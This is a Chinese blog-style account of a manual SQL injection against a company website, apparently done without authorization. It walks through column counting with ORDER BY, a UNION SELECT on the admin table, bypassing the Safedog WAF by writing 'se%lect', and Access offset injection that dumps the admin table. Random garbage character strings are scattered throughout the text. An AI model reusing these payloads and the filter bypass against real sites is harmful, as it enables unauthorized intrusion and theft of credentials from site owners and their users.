一次手工渗透突破安全狗防御+ACCESS偏移注入

admin

打开网站，一个企业站。
2 w; i1 D9 C* }* S4 V. X​

6 i. I7 [2 R& x( f# Q. {) _; c顺手加个admin
​
1 h& h" k2 J9 L2 N: w2 D$ X  D
默认后台。
回到首页点开个产点连接在参数后面加上：and 1=1,发现有狗。​


( @% Q9 s  \. i
1 i, v: o: q" n( J% x所以就不用御剑扫了，待会直接封IP。
- i) T6 [0 P- p. `+ b3 {# m
用order by语句判断是否存在注入。
( A4 T/ ?6 C1 W  `; h( c# S( Nhttp://www.xxx.com /product_show.asp?id=997 order by 1
http://www.xxx.com /product_show.asp?id=997 order by 100
7 r/ K; {8 A7 ^  c1 H3 w现在存在注入，经测试后发现是9个字段。
  p! y# f. V& Z2 p0 f  m
* A5 U% p; B, Z1 _7 K. X接下来进行联合查询，猜是否存在admin表。
http://www.xxx.com /product_show.asp?id=997+union+select+1,2,3,4,5,6,7,8+from+admin 被狗拦截。​



* ]. c7 O' V- b; R& m0 j' ~' P  _在select中间加个%,se%lect绕过安全狗。
​

: E! L/ N  T2 L  s3 V发现存在admin表，然后开始手工猜常用的字段。
; n- `; ^' Y7 D纠结的是手工把常用的字段都猜遍了，也没猜到一个字段。陷入迷茫中。

0 v/ I& d; U: J( u8 R0 T# T/ Z/ i! w突然想起之前看到的一篇关于access偏移注入的文章，文章就是说在注入猜不到字段时可以尝试一下这个方法，之前我特地去测试过这种方法，但是爆不出来，也没太在意。现在也只能试一下这种方法，拼一下人品了。

/ a; T& T) ]) N科普知识就不讲了，如果有不懂的可以加我Q：519582321 一起交流，有深圳的基友也可以加一起搞基情。
http://www.xxx.com /product_show.asp?id=997+union+s%elect+1,2,3,4,5,* from+admin
好了，敏感内容出显了。​

; M5 O3 v( L- ]. N
& _  E* v/ e3 |
# P3 V1 q6 i8 o" `# |